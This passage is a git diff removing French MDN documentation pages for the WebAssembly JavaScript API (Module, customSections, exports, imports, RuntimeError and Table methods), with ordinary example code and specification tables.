Valeur de retour

- -

Un tableau contenant des {{domxref("ArrayBuffer")}} dont chacun contient les données d'une section personnalisée du module qui correspond à nomSection.

- -

Exceptions

- -

Si le module passé en argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, la méthode lèvera une exception {{jsxref("TypeError")}}.

- -

Les sections personnalisées

- -

Un module wasm contient une série de sections. La plupart de ces sections sont spécifiées et validées par la spécification WebAssembly mais les modules peuvent contenir certaines sections « personnalisées » (custom sections) qui sont ignorées lors de la phase de validation. Pour plus d'informations, consulter l'article sur les structures de haut niveau qui détaille la structure des sections et les différences entre les sections normales (« connues ») et les sections personnalisées.

- -

Cela permet aux développeurs d'inclure des données personnalisées dans un module WebAssembly pour d'autres desseins. Par exemple, on peut avoir une section personnalisée name, qui permet aux développeurs de fournir des noms pour les fonctions et les variables locales du module (à la façon des « symboles » utilisé pour les programmes compilés).

- -

Le format WebAssembly ne possède actuellement aucune syntaxe pour ajouter une section personnalisée. Il est toutefois possible d'ajouter une section nommée au module wasm pendant la conversion du texte vers .wasm. La commande wast2wasm, disponible avec l'outil wabt, possède une option --debug-names qui permet de créer un module .wasm avec une section personnalisée name :

- -
wast2wasm simple-name-section.was -o simple-name-section.wasm --debug-names
- -

Exemples

- -

Dans l'exemple qui suit (tiré de ce fichier source et de cette démonstration), on compile et on instancie le bytecode simple-name-section.wasm et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on exporte une fonction depuis le module grâce à Instance.exports.

- -

On faut aussi une vérification sur WebAssembly.Module.customSections pour vérifier si celle-ci contient une section personnalisée "name" dont on vérifie si la longueur est supérieure à 0. Ce module contenant une section name, les appels à console.log() sont exécutés et montrent que le tableau renvoyé par la méthode contient des objets {{domxref("ArrayBuffer")}}.

- -
WebAssembly.compileStreaming(fetch('simple-name-section.wasm'))
-.then(function(mod) {
-  var nameSections = WebAssembly.Module.customSections(mod, "name");
-  if (nameSections.length != 0) {
-    console.log("Le module contient une section nommée");
-    console.log(nameSections[0]);
-  };
-});
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodulecustomsections', 'customSections()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Module.customSections")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html deleted file mode 100644 index 9f30c87b7d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/exports/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: WebAssembly.Module.exports() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/exports -tags: - - API - - Constructeur - - JavaScript - - Module - - Méthode - - Object - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/exports ---- -
{{JSRef}}
- -

La fonction WebAssembly.Module.exports() renvoie un tableau qui contient les descriptions des exports déclarés pour un module donné.

- -

Syntaxe

- -
var exports = WebAssembly.Module.exports(module);
- -

Paramètres

- -
-
module
-
Un objet {{jsxref("WebAssembly.Module")}}.
-
- -

Valeur de retour

- -

Un tableau qui contient des objets représentants les fonctions exportés du module passé en argument.

- -

Exceptions

- -

Si l'argument n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.

- -

Exemples

- -

Dans l'exemple suivant (basé sur le fichier index-compile.html disponible sur GitHub avec la démonstration correspondante), on compile le bytecode simple.wasm grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un worker grâce à la méthode postMessage().

- -
var worker = new Worker("wasm_worker.js");
-
-WebAssembly.compileStreaming(fetch("simple.wasm"))
-.then(mod =>
-  worker.postMessage(mod)
-);
- -

Dans le worker (cf. wasm_worker.js), on définit un objet d'import pour le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le thread principal. Lorsqu'on reçoit le module, on en crée une instance via la méthode {{jsxref("WebAssembly.Instantiate()")}} puis on appelle une fonction exportée et enfin, on affiche les informations relatives aux exports disponibles grâce à WebAssembly.Module.exports.

- -
var importObject = {
-  imports: {
-    imported_func: function(arg) {
-      console.log(arg);
-    }
-  }
-};
-
-onmessage = function(e) {
-  console.log('module reçu du thread principal');
-  var mod = e.data;
-
-  WebAssembly.instantiate(mod, importObject).then(function(instance) {
-    instance.exports.exported_func();
-  });
-
-  var exports = WebAssembly.Module.exports(mod);
-  console.log(exports[0]);
-};
- -

La valeur exports[0] ressemblera alors à :

- -
{ name: "exported_func", kind: "function" }
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymoduleexports', 'exports()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Module.exports")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html deleted file mode 100644 index c486bbf8ae..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/imports/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: WebAssembly.Module.imports() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/imports -tags: - - API - - JavaScript - - Module - - Méthode - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/imports ---- -
{{JSRef}}
- -

La méthode WebAssembly.imports() renvoie un tableau qui contient les références des fonctions importées qui sont disponibles dans un module WebAssembly donné.

- -

Syntaxe

- -
var arrImport = WebAssembly.Module.imports(module);
- -

Paramètres

- -
-
module
-
Une instance de {{jsxref("WebAssembly.Module")}}.
-
- -

Valeur de retour

- -

Un tableau qui contient des objets représentant les fonctions importées du module passé en argument.

- -

Exceptions

- -

Si module n'est pas une instance de {{jsxref("WebAssembly.Module")}}, une exception {{jsxref("TypeError")}} sera levée.

- -

Exemples

- -

Dans l'exemple qui suit, on compile le module simple.wasm puis on parcourt ses imports (cf. aussi le code sur GitHub et l'exemple live)

- -
WebAssembly.compileStreaming(fetch('simple.wasm'))
-.then(function(mod) {
-  var imports = WebAssembly.Module.imports(mod);
-  console.log(imports[0]);
-});
-
- -

Le résultat affiché dans la console ressemble alors à :

- -
{ module: "imports", name: "imported_func", kind: "function" }
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymoduleimports', 'imports()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Module.imports")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html deleted file mode 100644 index 7802ae2206..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: WebAssembly.Module() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module -tags: - - Constructeur - - JavaScript - - Module - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module ---- -
{{JSRef}}
- -

Un objet WebAssembly.Module contient du code WebAssembly, sans état et qui a déjà été compilé par le navigateur. Ce code peut être partagé avec des web worker et être instancié à plusieurs reprises. Pour instancier le module, on pourra appeler la forme secondaire de {{jsxref("WebAssembly.instantiate()")}}.

- -

Le constructeur WebAssembly.Module() peut être appelé de façon synchrone pour compiler du code WebAssembly. Toutefois, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.compile()")}} qui permet de compiler du bytecode.

- -

Syntaxe

- -
-

Important : La compilation de modules volumineux peut être consommatrice de ressources et de temps. Le constructeur Module() doit uniqument être utilisé lorsqu'il faut absolument avoir une compilation  synchrone. Pour tous les autres cas de figures, on privilégiera la méthode asynchrone {{jsxref("WebAssembly.compileStreaming()")}}.

-
- -
var monModule = new WebAssembly.Module(bufferSource);
- -

Paramètres

- -
-
bufferSource
-
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module WebAssembly qu'on souhaite compiler.
-
- -

Méthodes du constructeur Module

- -
-
{{jsxref("Objets_globaux/WebAssembly/Module/customSections", "WebAssembly.Module.customSections()")}}
-
Pour un module donné et une chaîne de caractères donnée, cette méthode renvoie une copie des sections personnalisées (custom sections) du module qui ont le nom correspondant à la chaîne.
-
{{jsxref("Objets_globaux/WebAssembly/Module/exports", "WebAssembly.Module.exports()")}}
-
Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des exports déclarés.
-
{{jsxref("Objets_globaux/WebAssembly/Module/imports", "WebAssembly.Module.imports()")}}
-
Pour un module donné, cette méthode renvoie un tableau dont les éléments sont des descriptions des imports déclarés.
-
- -

Instances de Module

- -

Toutes les instances de Module héritent du prototype du constructeur Module(), celui-ci peut être modifié afin de moifier le comportement de l'ensemble des instances de Module.

- -

Propriétés

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype', 'Propriétés')}}

- -

Méthodes

- -

Les instances de Module ne disposent pas de méthodes en propre.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Module")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html deleted file mode 100644 index 3ac694ae07..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/module/prototype/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: WebAssembly.Module.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Module/prototype -tags: - - Experimental - - JavaScript - - Module - - Propriété - - Prototype - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module -translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Module/prototype ---- -
{{JSRef}}
- -

La propriété WebAssembly.Module.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Module()")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WebAssembly.Module")}} héritent de Module.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Module()")}} peut être modifié afin de modifier le comportement de toutes les instances de {{jsxref( "WebAssembly.Module")}}.

- -

Propriétés

- -
-
Module.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Module()")}}.
-
Module.prototype[@@toStringTag]
-
La valeur initiale de la propriété @@toStringTag est la chaîne de caractères "WebAssembly.Module".
-
- -

Méthodes

- -

Aucune.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymodule-objects', 'WebAssembly.Module()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Module.prototype")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("WebAssembly.Module()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html deleted file mode 100644 index b35e50e466..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/runtimeerror/index.html +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: WebAssembly.RuntimeError() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/RuntimeError -tags: - - API - - Constructeur - - JavaScript - - Reference - - RuntimeError - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError ---- -
{{JSRef}}
- -

Le constructeur WebAssembly.RuntimeError() permet de créer un nouvel objet WebAssembly RuntimeError. C'est ce type d'exception qui est déclenchée lorsque WebAssembly définit une trappe.

- -

Syntaxe

- -
new WebAssembly.RuntimeError(message, nomFichier, numeroLigne)
- -

Paramètres

- -
-
message {{optional_inline}}
-
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
-
fileName {{optional_inline}}{{non-standard_inline}}
-
Le nom du fichier qui contient le code à l'origine de l'exception.
-
lineNumber {{optional_inline}}{{non-standard_inline}}
-
Le numéro de la ligne de code à l'origine de l'exception.
-
- -

Propriétés

- -

Le constructeur RuntimeError ne contient aucune propriété qui lui soit propre. En revanche, il hérite de certaines propriétés grâce à sa chaîne de prototypes.

- -
-
WebAssembly.RuntimeError.prototype.constructor
-
La fonction qui a créé le prototype de l'instance.
-
{{jsxref("Error.prototype.message", "WebAssembly.RuntimeError.prototype.message")}}
-
Le message qui décrit l'erreur. Bien qu'ECMA-262 indique que chaque instance doit fournir sa propre propriété message, dans SpiderMonkey, elle est héritée depuis {{jsxref("Error.prototype.message")}}.
-
{{jsxref("Error.prototype.name", "WebAssembly.RuntimeError.prototype.name")}}
-
Le nom de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.fileName", "WebAssembly.RuntimeError.prototype.fileName")}}
-
Le chemin du fichier à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.lineNumber", "WebAssembly.RuntimeError.prototype.lineNumber")}}
-
Le numéro de la ligne à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.columnNumber", "WebAssembly.RuntimeError.prototype.columnNumber")}}
-
Le numéro de la colonne dans la ligne qui est à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.stack", "WebAssembly.RuntimeError.prototype.stack")}}
-
La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
-
- -

Méthodes

- -

Le constructeur RuntimeError ne contient aucune méthode qui lui soit propre. En revanche, il hérite de certaines méthodes grâce à sa chaîne de prototypes.

- -
-
{{jsxref("Error.prototype.toSource", "WebAssembly.RuntimeError.prototype.toSource()")}}
-
Cette méthode renvoie un code qui, évalué, entraînerait la même erreur. Elle est héritée via {{jsxref("Error")}}.
-
{{jsxref("Error.prototype.toString", "WebAssembly.RuntimeError.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères qui représente l'objet Error. Elle est héritée via {{jsxref("Error")}}.
-
- -

Exemples

- -

Dans le fragment de code qui suit, on crée une instance de RuntimeError et on imprime les détails de cette erreur dans la console :

- -
try {
-  throw new WebAssembly.RuntimeError('Coucou', 'unFichier', 10);
-} catch (e) {
-  console.log(e instanceof RuntimeError); // true
-  console.log(e.message);                 // "Coucou"
-  console.log(e.name);                    // "RuntimeError"
-  console.log(e.fileName);                // "unFichier"
-  console.log(e.lineNumber);              // 10
-  console.log(e.columnNumber);            // 0
-  console.log(e.stack);                   // renvoie la pile d'appels
-                                           // à l'origine de l'erreur
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards NativeError.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.RuntimeError")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html deleted file mode 100644 index 25c8ec97db..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/get/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: WebAssembly.Table.prototype.get() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/get -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly - - table -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get ---- -
{{JSRef}}
- -

La méthode get(), rattachéee au prototype de  {{jsxref("WebAssembly.Table()")}}, permet de récupérer une référence à une fonction stockée dans le tableau WebAssembly grâce à sa position. dans le tableau.

- -

Syntaxe

- -
var funcRef = table.get(index);
-
- -

Paramètres

- -
-
index
-
L'index de la référence de fonction qu'on souhaite récupérer.
-
- -

Valeur de retour

- -

Une référence de fonction, c'est-à-dire une fonction WebAssembly exportée qui est une enveloppe JavaScript pour manipuler la fonction WebAssembly sous-jacente.

- -

Exceptions

- -

Si index est supérieur ou égal à {{jsxref("WebAssembly/Table/length","Table.prototype.length")}}, la méthode lèvera une exception {{jsxref("RangeError")}}.

- -

Exemples

- -

Dans l'exemple suivant (cf. le fichier table.html sur GitHub ainsi que le résultat obtenu), on compile et on instancie le bytecode chargé, table.wasm, grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}. On récupère ensuite les références stockées dans le tableau d'export.

- -
WebAssembly.instantiateStreaming(fetch('table.wasm'))
-.then(function(obj) {
-  var tbl = obj.instance.exports.tbl;
-  console.log(tbl.get(0)());  // 13
-  console.log(tbl.get(1)());  // 42
-});
- -

On note ici qu'il est nécessaire d'avoir un deuxième opérateur d'appel après l'accesseur pour récupérer le valeur stockée dans la référence (autrement dit, on utilise get(0)() plutôt que get(0)). La valeur exportée est une fonction plutôt qu'une valeur simple.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypeget', 'get()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table.get")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html deleted file mode 100644 index 4e90a70f22..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/grow/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: WebAssembly.Table.prototype.grow() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/grow -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly - - table -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow ---- -
{{JSRef}}
- -

La méthode grow(), rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet d'augmenter la taille du tableau WebAssembly d'un nombre d'éléments donné.

- -

Syntaxe

- -
table.grow(nombre);
-
- -

Paramètres

- -
-
nombre
-
Le nombre d'éléments qu'on souhaite ajouter au tableau.
-
- -

Valeur de retour

- -

La taille du tableau avant l'agrandissement.

- -

Exceptions

- -

Si l'opération grow() échoue, pour quelque raison que ce soit, une exception {{jsxref("RangeError")}} sera levée.

- -

Exemples

- -

Dans l'exemple qui suit, on crée une instance de Table pour représenter un tableau WebAssembly avec une taille initiale de 2 et une taille maximale de 10.

- -
var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });
- -

On étend ensuite le tableau d'une unité en utilisant la méthode grow() :

- -
console.log(table.length);   // "2"
-console.log(table.grow(1));  // "2"
-console.log(table.length);   // "3"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypegrow', 'grow()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table.grow")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html deleted file mode 100644 index ab26074ab6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/index.html +++ /dev/null @@ -1,137 +0,0 @@ ---- -title: WebAssembly.Table() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table -tags: - - API - - Constructeur - - JavaScript - - Reference - - WebAssembly - - table -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table ---- -
{{JSRef}}
- -

Le constructeur WebAssembly.Table() permet de créer un nouvel objet Table.

- -

Cet objet est une enveloppe JavaScript qui représente un tableau WebAssembly et qui contient des références à des fonctions. Un tableau créé en JavaScript ou dans du code WebAssembly sera accessible et modifiable depuis du code JavaScript et depuis du code WebAssembly.

- -
-

Note : Actuellement, les tableaux WebAssembly peuvent uniquement stocker des références à des fonctions. Cette fonctionnalité sera vraisemblablement étendue par la suite.

-
- -

Syntaxe

- -
var monTableau = new WebAssembly.Table(descripteurTableau);
- -

Paramètres

- -
-
descripteurTableau
-
Un objet composé des propriétés qui suivent : -
-
element
-
Une chaîne de caractères qui représente le type de référence enregistrée dans le tableau. Actuellement, la seule valeur possible est "anyfunc" (pour indiquer des fonctions).
-
initial
-
La longueur initiale du tableau WebAssembly. Cela correspond au nombre d'éléments contenus dans le tableau.
-
maximum {{optional_inline}}
-
La taille maximale que pourra avoir tableau WebAssembly s'il est étendu.
-
-
-
- -

Exceptions

- -
    -
  • Si tableDescriptor n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.
    • -
  • Si maximum est défini et est inférieur à initial, une exception {{jsxref("RangeError")}} sera levée.
    • -
- -

Instances de Table

- -

Toutes les instances Table héritent des propriétés du prototype du constructeur Table(). Ce dernier peut être utilisé afin de modifier l'ensemble des instances Table.

- -

Propriétés

- -
-
Table.prototype.constructor
-
Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.
-
{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}
-
Renvoie la longueur du tableau, c'est-à-dire le nombre de références qui sont enregistrées dans le tableau.
-
- -

Méthodes

- -
-
{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}
-
Une fonction d'accès qui permet d'obtenir l'élément du tableau situé à une position donnée.
-
{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}
-
Cette méthode permet d'augmenter la taille du tableau Table d'un incrément donné.
-
{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}
-
Cette méthode permet de modifier un élément du tableau situé à une position donnée.
-
- -

Exemples

- -

Dans l'exemple qui suit (tiré du fichier table2.html et qui dispose d'une démonstration), on crée une nouvelle instance d'un tableau WebAssembly avec une taille initiale permettant de stocker 2 références. Ensuite, on imprime la longueur du tableau et le contenu des deux éléments (obtenus grâce à la méthode {{jsxref("WebAssembly/Table/get", "Table.prototype.get()")}} afin de montrer que la longueur vaut 2 et que le tableau ne contient encore aucune référence de fonction (pour les deux positions, on a la valeur {{jsxref("null")}}).

- -
var tbl = new WebAssembly.Table({initial:2, element:"anyfunc"});
-console.log(tbl.length);
-console.log(tbl.get(0));
-console.log(tbl.get(1));
- -

Ensuite, on crée un objet d'import qui contient une référence au tableau :

- -
var importObj = {
-  js: {
-    tbl:tbl
-  }
-};
- -

Enfin, on charge et on instancie un module WebAssembly (table2.wasm) grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Le module table2.wasm a ajouté deux références de fonctions (cf. sa représentation textuelle). Chacune de ces fonctions fournit une valeur simple :

- -
WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
-.then(function(obj) {
-  console.log(tbl.length);   // "2"
-  console.log(tbl.get(0)()); // "42"
-  console.log(tbl.get(1)()); // "83"
-});
- -

On voit ici qu'il faut d'abord récupérer la fonction puis effectuer une invocation pour obtenir la valeur correspondante à partir de l'accesseur (autrement dit, on écrit get(0)() plutôt que get(0) pour obtenir le résultat de la fonction) .

- -

Dans cet exemple, on voit comment créer et manipuler le tableau depuis du code JavaScript mais ce même tableau est également accessible depuis l'instance WebAssembly.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initial pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html deleted file mode 100644 index d573097bc0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/length/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: WebAssembly.Table.prototype.length -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/length -tags: - - API - - JavaScript - - Propriété - - Reference - - WebAssembly - - table -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/length ---- -
{{JSRef}}
- -

La propriété length, rattachée au prototype de l'objet {{jsxref("WebAssembly.Table")}}, renvoie la longueur du tableau WebAssembly, c'est-à-dire le nombre d'éléments qui y sont stockées.

- -

Syntaxe

- -
table.length;
-
- -

Exemples

- -

Avec l'instruction qui suit, on crée un tableau WebAssembly avec une taille initiale de 2 éléments et avec une taille maximale de 10.

- -
var table = new WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 });
- -

On peut ensuite étendre le tableau d'un élément :

- -
console.log(table.length);   // "2"
-console.log(table.grow(1));  // "2"
-console.log(table.length);   // "3"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytableprototypelength', 'length')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table.length")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html deleted file mode 100644 index b9f2be5e36..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/prototype/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: WebAssembly.Table.prototype -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/prototype -tags: - - Experimental - - JavaScript - - Propriété - - Prototype - - Reference - - WebAssembly -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table -translation_of_original: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/prototype ---- -
{{JSRef}} {{SeeCompatTable}}
- -

La propriété WebAssembly.Table.prototype représente le prototype du constructeur {{jsxref("WebAssembly.Table()")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Toutes les instances de {{jsxref("WebAssembly.Table")}} héritent de Table.prototype. Le prototype du constructeur {{jsxref("WebAssembly.Table()")}} peut être modifié afin de modifier le comportement de toutes les instances {{jsxref( "WebAssembly.Table")}}.

- -

Propriétés

- -
-
Table.prototype.constructor
-
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Table()")}}.
-
{{jsxref("WebAssembly/Table/length","Table.prototype.length")}}
-
Renvoie la taille du tableau, c'est-à-dire le nombre de références enregistrées dans le tableau.
-
-

Méthodes

-
-
{{jsxref("WebAssembly/Table/get","Table.prototype.get()")}}
-
Une fonction accesseur qui permet d'obtenir une référence à partir d'une position dans le tableau.
-
{{jsxref("WebAssembly/Table/grow","Table.prototype.grow()")}}
-
Cette méthode permet d'augmenter la taille de l'instance de Table d'un nombre donné de référence.
-
{{jsxref("WebAssembly/Table/set","Table.prototype.set()")}}
-
Cette méthode permet de changer une référence située à une position donnée dans le tableau.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblytable-objects', 'Table')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.WebAssembly.Table.prototype")}}

-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html b/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html deleted file mode 100644 index c7b57a88b8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/webassembly/table/set/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: WebAssembly.Table.prototype.set() -slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Table/set -tags: - - API - - JavaScript - - Méthode - - Reference - - WebAssembly - - table -translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set ---- -
{{JSRef}}
- -

La méthode set(), rattachée au prototype de {{jsxref("WebAssembly.Table")}}, permet de modifier une référence de fonction stockée dans un tableau WebAssembly.

- -

Syntaxe

- -
table.set(index, valeur);
-
- -

Paramètres

- -
-
index
-
L'index de la référence de la fonction qu'on souhaite modifier.
-
valeur
-
La valeur par laquelle on souhaite remplacer la référence. Cette valeur doit être une fonction exportée WebAssembly (c'est-à-dire une enveloppe JavaScript représentant une fonction WebAssembly sous-jacente).
-
- -

Valeur de retour

- -

Aucune.

- -

Exceptions
